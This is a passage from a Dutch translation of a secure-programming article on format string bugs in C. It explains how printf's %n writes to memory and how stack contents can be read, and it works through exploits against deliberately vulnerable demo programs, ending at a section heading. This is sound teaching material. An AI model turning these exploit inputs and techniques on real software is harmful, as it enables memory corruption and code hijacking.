<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">

<html>
<head>
  <title>Veilig programmeren - Deel 4: format strings</title>
</head>
 <body>
   
<h1>Het vermijden van veiligheidslekken bij het ontwikkelen van een 
  applicatie - Deel 4: format strings</h1>
  
<h4>ArticleCategory:</h4>
 Software Development  

<h4>AuthorImage:</h4>
 <img src="../../common/images/FredCrisBCrisG.jpg"
 alt="[de auteurs]" width="200" height="150">
  
<h4>TranslationInfo:</h4>
  
<p>Original in fr: <a href="mailto:pappy@users.sourceforge.net,
 %0D%0A%20%20%20%20ccb@club-internet.fr,grenier@nef.esiea.fr"
 >Fr&eacute;d&eacute; ric Raynal, Christophe Blaess, Christophe Grenier</a></p>
  
<p>fr to en:<a href="mailto:pappy@users.sourceforge.net"
   >Fr&eacute;d&eacute;ric</a></p>
  
<p>en to en:<a href="mailto:sherm_pbody@yahoo.com">Lorne Bailey</a></p>
  
<p>en to nl: <a href="mailto:hjh@passys.nl">Hendrik-Jan Heins</a></p>
  
<h4>AboutTheAuthor:</h4>
  
<p>Christophe Blaess is een onafhankelijke luchtvaart ingenieur. Hij is een 
Linux fan en werkt veel met dit systeem. Hij co&ouml;rdineert de vertaling 
van de man pages zoals die te vinden zijn op de site van het  <i>Linux 
Documentation Project</i>.</p>
  
<p>Christophe Grenier is een 5e jaars student aan de ESIEA, hij werkt daar ook 
   als systeembeheerder. Hij is dol op computer beveiligingssystemen.</p>
  
<p>Fr&eacute;d&eacute;ric Raynal gebruikt Linux nu al jaren omdat het niet 
   vervuilend is, niet opgepept wordt met hormonen, MSG of beendermeel...
   maar alleen met bloed, zweet, tranen en kennis.</p>
   
<h4>Abstract</h4>
   Al een tijdje worden meldingen over veiligheidsgaten (<em>format string</em>) 
   die gemakkelijk geopend kunnen worden, talrijker. Dit artikel geeft uitleg 
   over waar het gevaar vandaan komt en dat een poging om slechts zes bytes 
   op te slaan al genoeg is om de veiligheid van een programma in gevaar te
   brengen.  
<h4>ArticleIllustration:[illustration]</h4>
   <img src="../../common/images/illustration183.gif" width="100"
   height="100" alt="[article illustration]" hspace="10">
  
<h4>ArticleBody:[The real article: put the text and html-codes here]</h4>
  
<h2>Waar zit het gevaar?</h2>
  
<p>De meeste veiligheidsgaten komen door een slechte configuratie of
   luiheid. Dit geldt ook voor de zogenaamde "format strings".</p>

<p>Het is vaak noodzakelijk om in een programma strings te gebruiken die 
   eindigen met "null". Waar in het programma dit gebeurt is voor dit verhaal 
   niet van belang. De kwetsbaarheid zit, alweer, in het direct wegschrijven 
   naar het geheugen. De gegevens voor de aanval kunnen komen van bijvoorbeeld 
   <code>stdin</code>, bestanden, etc. Een enkele instructie is voldoende:</p>

<center> <code>printf("%s", str);</code> </center>

<p>Een programmeur kan echter beslissen om tijd te besparen bij het programmeren 
   en te kiezen voor de volgende oplossing, die zes bytes minder bevat:</p>

<center> <code>printf(str);</code> </center>

<p>Dankzij de "economische" oplossing van deze programmeur, heeft hij een 
   potentieel veiligheidslek in z'n werk geopend. Hij vindt het voldoende
   om een enkele string als argument op te geven en deze vervolgens op het
   beeld te tonen zonder enige verandering. Deze string wordt echter ontleed
   tijdens de zoektocht naar regels betreffende het format (<code>%d</code>,
   <code>%g</code>...). Op het moment dat een format gevonden wordt, wordt
   het corresponderende argument in de stack gezocht.</p>

<p>We zullen nu een overzicht van de <code>printf()</code> functies geven. 
   We verwachten dat iedereen deze kent, echter niet tot in detail!
   We zullen de minder belangrijke aspecten van deze opdrachten ook tonen. 
   Daarna zullen we laten zien hoe je meer te weten komt over het bestaan 
   van zo'n lek, waardoor je er gebruik van kan maken. En uiteindelijk laten 
   we zien hoe de onderliggende relaties van deze aspecten in elkaar steken 
   in een enkel voorbeeld.</p>

<h2>Diep in de "format strings"</h2>
   In dit deel kijken we naar de "format strings".We zullen beginnen met 
   een samenvatting over hun gebruik en we ontdekken een vrij onbekende 
   format instructie die alle mysteries zal oplossen.

<h2><code>printf()</code> : ze hebben tegen me gelogen!</h2>
   <font size="-1">Opmerking voor niet-Fransen: we hebben in ons mooie 
   land een wielrenner die maanden beweerd heeft dat hij nooit doping   
   heeft gebruikt, terwijl al zijn teamgenoten dit al hadden toegegeven.  
   Hij beweerde dat, als hij al doping gehad heeft, hij daar niets van af 
   wist. Dit gaf de aanzet voor een Franse poppenshow om de zin "on m'aurait
   menti!" te gebruiken, vandaar het idee voor deze titel.</font>

<p>Laten we beginnen met alles wat we geleerd hebben in ons 
   programmeurshandboek: de meeste C input/ output functies gebruiken <em>data
   formatting</em>. Dit betekent dat je niet alleen de gegevens voor lezen 
   en schrijven moet geven, maar ook <b>hoe</b> dit weergegeven moet worden. 
   Het volgende programma is hier een illustratie van:</p>
 
<pre>/* display.c */
#include &lt;stdio.h&gt;
main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
 </pre>

  Het uitvoeren geeft dit:  

<pre>&gt;&gt;gcc display.c -o display
&gt;&gt;./display
int  : 64 97
char : @ a
</pre>

   Het eerste <code>printf()</code> schrijft de waarde van de het gehele getal
   <code>i</code> en van de karakter-variabele <code>a</code> als 
   <code>int</code> (dit gebeurt met behulp van <code>%d</code>), dit zorgt 
   ervoor dat <code>a</code> z'n ASCII waarde weergeeft. Echter, het tweede 
   <code>printf()</code> converteert het gehele getal <code>i</code> naar de 
   corresponderende ASCII karaktercode, die is 64.

<p>Niets nieuws - alles gaat conform aan de vele functies die eenzelfde
   opbouw hebben als de <code>printf()</code> functie:</p>

<ol>
   <li>Een argument in de vorm van een karakterstring (<code>const char 
   *format</code>) wordt gebruikt om het gekozen format te specificeren;
   </li>
   <li>Een of meer optionele argumenten die de variabelen bevatten
       waarin de waarden zijn geformatteerd volgens de indicaties van de
       voorgaande string.</li>
 
</ol>

<p>De meeste programmeercursussen stoppen hier, en geven daarmee een niet 
   complete lijst van mogelijke formats (<code>%g</code>, <code>%h</code>,
   <code>%x</code>, het gebruik van het punt-karakter <code>.</code>   
   om betere specificatie te forceren...) Maar, er is nog een andere, waar
   nooit over gesproken wordt: <code>%n</code>. Dit is wat de 
   <code>printf()</code> man pagina's erover te zeggen hebben:</p>

<center>
<table width="90%">
 <tbody>
   <tr>
   <td>Het aantal karakters dat tot dan toe is geschreven,
    wordt opgeslagen in de integer die aangegeven wordt met het
    <code>int *</code> pointer argument (of een variant hiervan).
    Geen enkel argument wordt geconverteerd.</td>
 </tr>

 </tbody>
</table>
</center>

<p>Dit is het belangrijkste van dit artikel: <font color="#ff0000"> Dit 
   argument maakt het mogelijk om te schrijven in een pointer variabele</font>,
   zelfs wanneer deze gebruikt wordt in een afbeeld-functie!</p>

<p>Voordat we verder gaan,willen we eerst zeggen dat dit format ook bestaat
   voor functies van de <code>scanf()</code> en <code>syslog()</code> klasse.</p>

<h2>Tijd om te spelen</h2>

<p>We gaan het gebruik en gedrag van dit format bekijken met behulp van
   een paar kleine programmaatjes. Het eerste, <code>printf1</code>, toont
   een heel eenvoudig gebruik:</p>
  
<pre>/* printf1.c */
1: #include &lt;stdio.h&gt;
2:
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:
7:   printf("%s%n\n", buf, &amp;n);
8:   printf("n = %d\n", n);
9: }
</pre>

<p>De eerste <code>printf()</code> oproep, geeft een afbeelding van de
   string "<code>0123456789</code>", deze bevat dus 10 karakters. De volgende
   <code>%n</code> format schrijft deze waarde naar de variabele <code>n</code>:
   </p>
  
<pre>&gt;&gt;gcc printf1.c -o printf1
&gt;&gt;./printf1
0123456789
n = 10
</pre>

  Laten we ons programma eens een klein beetje veranderen door de
  instructie <code>printf()</code>, line 7 te vervangen door de volgende: 
 
<pre>7:   printf("buf=%s%n\n", buf, &amp;n);
</pre>
  
<p>Het draaien van dit nieuwe programma bevestigd onze indruk: de variabele
   <code>n</code> is nu 14, (10 karakters van de <code>buf</code> string
   variabele zijn uitgebreid met de 4 karakters van de "<code>buf=</code>" 
   constante string, die in de format string zelf zit).</p>

<p>Dus, nu weten we dat de <code>%n</code> format ieder karakter dat
   verschijnt in de format string telt. Het telt nog verder, maar dat zullen 
   we demonstreren aan de hand van het <code>printf2</code> programma:</p>
  
<pre>/* printf2.c */

#include &lt;stdio.h&gt;

main() {
  char buf[10];
  int n, x = 0;

   snprintf(buf, sizeof buf, "%.100d%n", x, &amp;n);
   printf("l = %d\n", strlen(buf));
   printf("n = %d\n", n);
}
</pre>

  Het gebruik van de <code>snprintf()</code> functie is om buffer   
  overflows te voorkomen. De variabele <code>n</code> zou dan 10 moeten
  zijn:  

<pre>&gt;&gt;gcc printf2.c -o printf2
&gt;&gt;./printf2
l = 9
n = 100
</pre>

  Vreemd? In feite geeft de <code>%n</code> format het aantal karakters 
  dat er door <font color="#ff0000">zou</font> zijn geschreven. Dit
  voorbeeld laat zien dat de truncatie die plaats heeft gevonden door de
  grootte specificatie genegeerd wordt.

<p>Wat gebeurt er echt? De format string heeft de volledige lengte, voordat 
   hij in stukken wordt geknipt en dan gekopieerd naar de doelbuffer:</p>
  
<pre>/* printf3.c */

#include &lt;stdio.h&gt;

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &amp;n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
  
</pre>

  <code>printf3</code> bevat enkele veranderingen ten opzichte van  
  <code>printf2</code>:

<ul>
   <li>de buffer grootte is gereduceerd tot 5 bytes</li>
   <li>de precisie / grootte van de format string is nu ingesteld op
       5;</li>
   <li>de buffer inhoud wordt eindelijk weergegeven.</li>
 
</ul>

 We krijgen de volgende uitvoer:  

<pre>&gt;&gt;gcc printf3.c -o printf3
&gt;&gt;./printf3
l = 4
n = 5
buf = [0123] (5)
</pre>

De eerste twee regels bevatten geen verassing. De laatste regel illustreert 
het gedrag van de <code>printf()</code> functie:

<ol>
   <li>De format string wordt gebruikt volgens de commando's <sup><a
       href="#foot1">1</a></sup> die hij bevat, en dat levert de string 
       "<code>00000\0</code>";
  </li>

   <li>De variabelen worden nu daar geschreven waar ze horen en ook 
       op de manier waarop ze geschreven moeten worden, dit wordt 
       ge&iuml;llustreerd door <code>x</code> uit ons voorbeeld te 
       kopi&euml;ren. De string ziet er dan als volgt uit: 
       "<code>01234\0</code>";
   </li>

   <li>Tenslotte de <code>sizeof buf - 1</code> bytes<sup><a
       href="#foot2">2</a></sup> string, waarvan gekopieerd wordt in de 
       <code>buf</code> doel-string, Dit levert ons: "<code>0123\0</code>"
   </li>
</ol>

   Dit is niet helemaal correct, maar het geeft wel ongeveer aan hoe  
   het proces werkt. Voor meer detail zou je de <code>GlibC</code> bronnen
   en vooral <code>vfprintf()</code> in de 
   <code>${GLIBC_HOME}/stdio-common</code> directorie moeten bekijken.

<p>Voordat we dit deel be&euml;indigen, de opmerking dat het mogelijk is 
   om dezelfde resultaten te krijgen wanneer de format string een beetje
   anders wordt geschreven. Hiervoor gebruikten we een format dat 
   <em>precision</em> (de punt '.') heet. Een andere combinatie van het 
   formatteren van instructies, levert hetzelfde resultaat: <code>0n</code>,
   met <code>n</code> als maat voor de breedte (<em>width</em>) en 
   <code>0</code> als opdracht die aangeeft dat alle lege ruimte gevuld 
   moet worden met 0, voor het geval dat niet de gehele breedte wordt 
   opgevuld.</p>
  
<p>Nu je vrijwel alles weet over format strings en vooral over de 
   <code>%n</code> format, zullen we hun gedrag gaan bestuderen.</p>
  
<h2>Stack en <code>printf()</code></h2>
  
<h2>De stack doornemen</h2>
  
<p>Het volgende programma zal onze leidraad door deze sectie zijn, het
   zal helpen bij het begrijpen hoe <code>printf()</code> en de stack aan
   elkaar gerelateerd zijn:</p>
  
<pre>/* stack.c */
 1: #include &lt;stdio.h&gt;
 2:
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &amp;i);
14: }
</pre>

  Dit programma doet niets anders dan een argument kopi&euml;ren naar 
  de <code>buffer</code> karakter array. We letten er goed op dat er
  geen "overflow" plaats vindt met betrekking tot wat belangrijke gegevens
  (format strings zijn echt accurater en werkbaarder dan buffer overflows
  ;-)  

<pre>&gt;&gt;gcc stack.c -o stack
&gt;&gt;./stack toto
buffer : [toto] (4)
i = 1 (bffff674)
</pre>

   Dit werkt zoals we verwachtten :) Laten we, voordat we verder gaan, 
   eerst eens bekijken wat er gebeurt vanuit de stack gezien op het moment
   dat <code>snprintf()</code> uit regel 8 wordt aangeroepen.   

<center>   
<table width="90%" nosave="">
 <tbody>
   <tr>
    <td><a name="snprintf1"><img src=
        "../../common/images/article191/fs1.jpg" alt="snprintf()">Fig. 1</a>
	:De stack aan het begin van <code>snprintf()</code>
    </td>
   </tr>
  </tbody>
</table>
</center>
  
<p>Figuur <a href="#snprintf1">1</a> beschrijft de staat van de stack   
   wanneer het programma de <code>snprintf()</code> functie start (we zullen
   zien dat dit niet waar is... maar dit is alleen een voorbeeld om je een
   beetje inzicht te geven in wat er gebeurd). Wat er gebeurt met het 
   <code>%esp</code> register maakt ons niets uit. Dat is ergens onder het 
   <code>%ebp</code> register. Zoals we in het voorgaande artikel al hebben 
   gezien, bevatten <code>%ebp</code> en <code>%ebp+4</code> de 
   respectievelijke back-ups van de <code>%ebp</code> en <code>%ebp+4</code>
   registers. Nu komen de argumenten van de functie <code>snprintf()</code>:
</p>
  
<ol>
   <li>Het doel adres;</li>
   <li>Het aantal karakters dat gekopi&euml;erd moet worden;</li>
   <li>Het adres van de format string <code>argv[1]</code> dat 
       ook dienst doet als gegeven.</li>
 
</ol>

  En tenslotte wordt de stack gevuld met de <code>tmp</code> array
  van 4 karakters, de 64 bytes van de variabele <code>buffer</code> en
  de <code>i</code> integer variabele.  

<p>De <code>argv[1]</code> string wordt op hetzelfde moment gebruikt
   als de format string <b>en</b> gegevens. Volgens de normale volgorde
   van de <code>snprintf()</code> routine, verschijnt <code>argv[1]</code> 
   in plaats van de format string. Aangezien je een format string kan   
   gebruiken zonder format aanwijzing (alleen maar tekst), werkt alles
   zonder problemen :)</p>
  
<p>Wat gebeurt er wanneer <code>argv[1]</code> ook een formattering bevat???
   Normaal gesproken interpreteert <code>snprintf()</code> ze zoals ze zijn...
   en er is geen reden waardoor het nu anders zou moeten zijn! Maar nu kan
   je je afvragen welke argumenten gebruikt gaan worden als gegevens voor
   formattering van de output string. In feite neemt <code>snprintf()</code>
   nu data van de stack! Dit kan je zien in het <code>stack</code> programma:</p>
 
<pre>&gt;&gt;./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)
</pre>
  
<p>Eerst wordt de "<code>123</code>" string in de <code>buffer</code>   
   gekopi&euml;erd. De <code>%x</code> vraagt <code>snprintf()</code> om de 
   eerste waarde te vertalen in een hexadecimaal. In figuur <a href=
   "#snprintf1">1</a> is dit eerste argument leeg, maar de <code>tmp</code>
   variabele bevat de <code>\x01\x02\x03\x00</code> string. Deze wordt 
   weergegeven als het hexadecimale nummer 0x00030201 volgens onze "little
   endian" x86 processor.</p>
 
<pre>&gt;&gt;./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)
</pre>
  
<p>Het toevoegen van een tweede <code>%x</code> staat je toe om hoger in 
   de stack te komen. Het vertelt <code>snprintf()</code> om te kijken naar 
   de vier volgende bytes na de <code>tmp</code> variabele. Deze 4 bytes 
   zijn in feite de eerste 4 bytes van <code>buffer</code>. Echter,
   <code>buffer</code> bevat de "<code>123</code> " string, die kan worden 
   gezien als het hexadecimale nummer 0x20333231 (0x20=space, 0x31='1'...). 
   Dus voor iedere <code>%x</code>, "springt" <code>snprintf()</code> 4 
   bytes verder in de <code>buffer</code> (de sprong is 4 bytes, omdat  
   <code>unsigned int</code> in een x86 processor 4 bytes neemt). Deze   
   variabele speelt de rol van dubbelagent:</p>
  
<ol>
   <li>Schrijven naar het doel;</li>

<li>Lees input gegevens voor het format.</li>
 
</ol>

 We kunnen zolang onze buffer bytes bevat, "omhoog klimmen" in de stack: 

<pre>&gt;&gt;./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378
 0x333837] (63)
i = 1 (bffff654)
</pre>
  
<h2>Nog hoger</h2>

   De voorgaande methode stond ons toe om op zoek te gaan naar belangrijke 
   infomatie, zoals het "return" adres van de functie die de stack heeft
   gemaakt die de buffer bevat. Het is echter mogelijk om, met de juiste
   format, op zoek te gaan naar gegevens buiten de kwetsbare buffer.   
   
<p>Je kan enkele bruikbare formats vinden als het nodig is om te wisselen 
   tussen parameters (bijvoorbeeld wanneer de datum en tijd worden weergegeven). 
   We kunnen de format <code>m$</code> direct achter de <code>%</code> toevoegen, 
   waar <code>m</code> een geheel getal &gt;0 is. Het geeft de positie van
   de variabele voor gebruik in de argumentenlijst aan (beginnende met 1):</p>
 
<pre>/* explore.c */
#include &lt;stdio.h&gt;

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}
</pre>
  
<p>De format die gebruik maakt van <code>m$</code> staat ons toe om omhoog
   te gaan in de stack, <font color="red">zo ver als we willen</font>, door 
   gebruik te maken van <code>gdb</code>:</p>
 
<pre>&gt;&gt;./explore %1\$x
[0] (1)
&gt;&gt;./explore %2\$x
[0] (1)
&gt;&gt;./explore %3\$x
[0] (1)
&gt;&gt;./explore %4\$x
[bffff698] (8)
&gt;&gt;./explore %5\$x
[1429cb] (6)
&gt;&gt;./explore %6\$x
[2] (1)
&gt;&gt;./explore %7\$x
[bffff6c4] (8)
</pre>
  
<p>Het <code>\</code> karakter is hier nodig om de <code>$</code> te
   beschermen en om ervoor te zorgen dat de commandoregel deze niet 
   interpreteert. Met de eerste drie aanroepen, bekijken we de inhoud van 
   de <code>buf</code> variabele. Met <code>%4\$x</code> krijgen we het 
   bewaarde register <code>%ebp</code> en met de volgende <code>%5\$x</code>,
   krijgen we het register <code>%eip</code> (Ook bekend als het retouradres).
   De laatste 2 resultaten hier laten de <code>argc</code> variabele waarde 
   zien en het adres dat in <code>*argv</code> staat (onthoudt dat 
   <code>**argv</code> betekent dat <code>*argv</code> een adres array is).
</p>
  
<h2>In het kort ...</h2>
  
<p>Dit voorbeeld illustreert het feit dat de meegeleverde formats ons
   in staat stellen om omhoog in de stack te gaan om informatie te vinden, 
   zoals bijvoorbeeld de retourwaarde van een functie, een adres.....   
   Echter, zoals we aan het begin van dit artikel al hebben gezien, kunnen 
   we schrijven met functies van het type <code>printf()</code>: ziet dit
   er niet uit als een schitterende potenti&euml;le zwakke plek?</p>
  
<h2>De eerste stappen</h2>
  
<p>Laten we teruggaan naar het <code>stack</code> programma:</p>
 
<pre>&gt;&gt;perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [d&ouml;&yuml;&iquest;000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)
</pre>

 We geven het volgende als input string:  

<ol>
   <li>Het <code>i</code> variabele adres;</li>
   <li>een format instructie (<code>%.496x</code>);</li>
   <li>een tweede format instructie (<code>%n</code>) die zal schrijven 
       naar het aangegeven adres.</li>
</ol>

   Om het variabele adres <code>i</code> te bepalen (hier 
   <code>0xbffff664</code>), kunnen we het programma tweemaal draaien en de
   commandoregel overeenkomstig veranderen.Zoals je nu kan zien, heeft 
   <code>i</code> een nieuwe waarde :) De gegeven format string en de stack 
   ordening zorgen ervoor dat <code>snprintf()</code> er als volgt uitziet: 

<pre>snprintf(buffer,
 sizeof buffer,
 "\x64\xf6\xff\xbf%.496x%n",
 tmp,
 4 first bytes in buffer);
</pre>
  
<p>De eerste vier bytes (die het <code>i</code> adres bevatten) zijn
aan het begin van de <code>buffer</code> geschreven. Het <code>%.496x</code>
format staat ons toe om de <code>tmp</code> variabele, die aan het begin
van de stack staat, te dumpen. Dan, wanneer <code>%n</code> de format
instructie is, wordt het adres dat gebruikt is het adres van <code>i</code>,
aan het begin van de <code>buffer</code>. Hoewel de vereiste nauwkeurigheid
496 is, schrijft snprintf maximaal slechts zestig bytes (dit omdat de
lengte van de buffer 64 is en 4 bytes al geschreven zijn). De waarde
496 is een arbitraire keuze en deze wordt alleen maar gestuurd om de
"byte- teller" te manipuleren. We hebben al gezien dat het <code>%n</code>
format het aantal bytes dat zou moeten worden geschreven, bewaart. Deze
waarde is 496, waar we 4 aan toe moeten voegen van de 4 bytes van adres 
<code>i</code> aan het begin van de <code>buffer</code>. Daarom moeten
we 500 bytes tellen. Deze waarde zal worden weggeschreven in het volgende
adres in de stack, dit is het <code>i</code>-de adres.</p>
  
<p>We kunnen nog verder gaan met dit voorbeeld. Om <code>i</code> te
veranderen, moetsen we z'n adres kennen..... maar soms geeft het programma
zelf dit weg:</p>
 
<pre>/* swap.c */
#include &lt;stdio.h&gt;

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &amp;cpt1;
  int addr_cpt2 = &amp;cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}
</pre>
  
<p>Door dit programma te draaien kunnen we zien dat we de stack (bijna)
kunnen manipuleren zoals wij willen:</p>
 
<pre>&gt;&gt;./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
&gt;&gt;./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
&gt;&gt;./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0
</pre>
  
<p>Zoals je kunt zien kunnen we, afhankelijk van het argument, ofwel 
   <code>cpt1</code>, of <code>cpt2</code> veranderen. Het <code>%n</code>
   format verwacht een adres, dat is waarom we niet direct kunnen reageren
   op de variabelen (dus gebruik maken van <code>%3$n (cpt2)
   </code>of<code> %4$n (cpt1)</code>), maar moeten we via de pointers 
   werken. Deze laatsten zijn een "nieuwe jachtgrond" met enorm veel 
   mogelijkheden om aanpassingen aan te brengen. 
</p>
  
<h2>Variaties op hetzelfde thema</h2>

   De hiervoor gegeven voorbeelden komen uit een programma dat is gecompileerd
   met <code>egcs-2.91.66</code> en <code>glibc-2.1.3-22</code>. Je zal
   echter waarschijnlijk niet dezelfde resultaten op je eigen machine krijgen.
   Dit komt doordat de functies van het type <code>*printf()</code> veranderen
   volgens <code>glibc</code> en de compilers helemaal niet dezelfde operaties
   uitvoeren.  

<p>Het programma <code>stuff</code> benadrukt deze verschillen nog eens:</p>
 
<pre>/* stuff.c */
#include &lt;stdio.h&gt;

main(int argc, char **argv) {

  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc &lt; 2) {
printf("Usage : %s &lt;format&gt;\n",argv[0]);
exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}
</pre>
  
<p>De arrays <code>aaa</code> en <code>bbb</code> worden gebruikt als   
   afbakening in onze reis door de stack. Daarom weten we dat wanneer we  
   <code>424242</code> vinden, de volgende bytes in de <code>buffer</code> 
   zitten. Tabel <a href="#tabglibc">1</a> geeft de verschillen volgens
   de verschillende versies van de van glibc en de compilers weer.</p>
  
<center>   
<table border="1" width="95%" bgcolor="#eeeeee">
 <tbody>
<tr>
   <th><a name="tabglibc" href="#tabglibc">Tab. 1</a> : 
 Variaties op glibc</th>
   	  <th>&nbsp;</th>
   	  <th>&nbsp;</th>
 </tr>
  <tr>
   <td> 
       <center>   <b>Compiler</b> </center>
   </td>

   <td> 
       <center>   <b>glibc</b> </center>
   </td>

   <td> 
       <center>   <b>Display</b> </center>
   </td>

 </tr>
  <tr>
   <td>gcc-2.95.3</td>

   <td>2.1.3-16</td>

   <td>buffer = [8048178 8049618 804828e 133ca0 bffff454 <font
       color="#cc0000">424242</font> <font color="#006600">38343038
       2038373</font>] (63)
   </td>
 </tr>
  <tr>
   <td>egcs-2.91.66</td>

   <td>2.1.3-22</td>

   <td>buffer = [<font color="#cc0000">424242</font> <font
    color="#006600">32343234 33203234 33343332 20343332 30323333   34333233
    33</font>] (63)</td>
 </tr>
  <tr>
   <td>gcc-2.96</td>

   <td>2.1.92-14</td>
   
   <td>buffer = [120c67 124730 7 11a78e <font color="#cc0000">424242</font>
       <font color="#006600">63303231   31203736 33373432 203720</font>] (63)
   </td>
 </tr>
  <tr>

   <td>gcc-2.96</td>

    <td>2.2-12</td>

    <td>buffer = [120c67 124730 7 11a78e <font color="#cc0000">424242</font>
        <font color="#006600">63303231   31203736 33373432 203720</font>]
        (63)
    </td>
 </tr>
   
  </tbody>
</table>

</center>
  
<p>In het vervolg van dit artikel zullen we <code>egcs-2.91.66</code>   
   en <code>glibc-2.1.3-22</code> blijven gebruiken, maar wees niet verrast
   als je een andere uitkomst op je eigen machine krijgt.</p>
  
<h2>Het exploiteren van een format bug</h2>
  
<p>Toen we gebruik maakten van buffer overflows, gebruikten we een buffer
   om het retour adres van een functie te overschrijven.</p>
  
<p>Met format strings kunnen we, zoals we gezien hebben <font
   color="red">overal</font> naar toe gaan (stack, heap, bss, .dtors, ...),
   we hoeven alleen maar op te geven wat waar te schrijven met behulp van 
   <code>%n</code>.</p>
  
<h2>Het kwetsbare programma</h2>

   Je kan op verschillende manieren gebruik maken van een format bug. 
   <a href="http://www.hert.org/papers/format.html">P. Bouchareine's artikel</a> 
   (<em>Format string vulnerability</em>)   laat zien hoe het retouradres
   van een functie overschreven dient te worden, dus wij zullen nu wat anders
   laten zien. 

<pre>/* vuln.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &amp;ptrf);

  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &amp;ptrf);
 
 return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc &lt;= 1) {
fprintf(stderr, "Usage: %s &lt;buffer&gt;\n", argv[0]);
exit(-1);
  }
  for(i=0;i&lt;argc;i++)
printf("%d %p\n",i,argv[i]);

  exit(vuln(argv[1]));
}

int helloWorld()

{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}
</pre>
  
<p>We defini&euml;ren een variabele genaamd <code>ptrf</code>, deze is een   
   pointer naar een functie. We gaan de waarde van deze pointer veranderen 
   om een functie naar keuze te draaien.</p>
  
<h2>Eerste voorbeeld</h2>
  
<p>Eerst moeten we te weten komen wat de offset is tussen het begin van de 
   kwetsbare buffer en onze huidige positie in de stack:</p>
 
<pre>&gt;&gt;./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"
&gt;&gt;./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"
</pre>
  
<p>Hier geeft de eerste oproep ons wat we nodig hebben: 3 woorden (een
   woord = 4 bytes voor x86 processoren) scheiden ons van het begin van
   de <code>buffer</code> variabele. De tweede oproep, met 
   <code>AAAA%3\$x</code> als argument, bevestigt dit.</p>

 <!-- L. Bailey: this is a bit unclear -->  

<p>Ons doel is nu om de waarde van de eerste pointer, <code>ptrf</code>
   (<code>0x8048634</code>, het adres van de functie <code>helloWorld()</code>)
   te vervangen door de waarde <code>0x8048654</code> (het adres van 
   <code>accessForbidden()</code>). We moeten nu dus <code>0x8048654</code> 
   bytes schrijven (134514260 bytes in decimalen, ongeveer 128Mbytes). Niet 
   alle computers kunnen dit gebruik van zo'n hoeveelheid geheugen aan... 
   maar degene die wij gebruiken kan dit wel :) Het duurt ongeveer 20 
   seconden op een dual-pentium 350 MHz:</p>
 
<pre>&gt;&gt;./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [&Ocirc;&otilde;&yuml;&iquest;000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"
</pre>
  
<p>Wat hebben we gedaan? We hebben zojuist het adres van <code>ptrf 
   (0xbffff5d4)</code> aangegeven. De volgende format 
   (<code>%.134514256x</code>) leest het eerste woord van de stack, met 
   een precisie van 134514256 (we hebben de eerste 4 byte van het adres 
   van <code>ptrf</code> al geschreven, dus hoeven we nog maar 
   <code>134514260-4=134514256</code> bytes te schrijven). En eindelijk
   kunnen we de betreffende waarde in het gegeven adres (<code>%3$n</code>) 
   schrijven.</p>
  
<h2>Geheugenproblemen: <em>Verdeel en heers</em></h2>
  
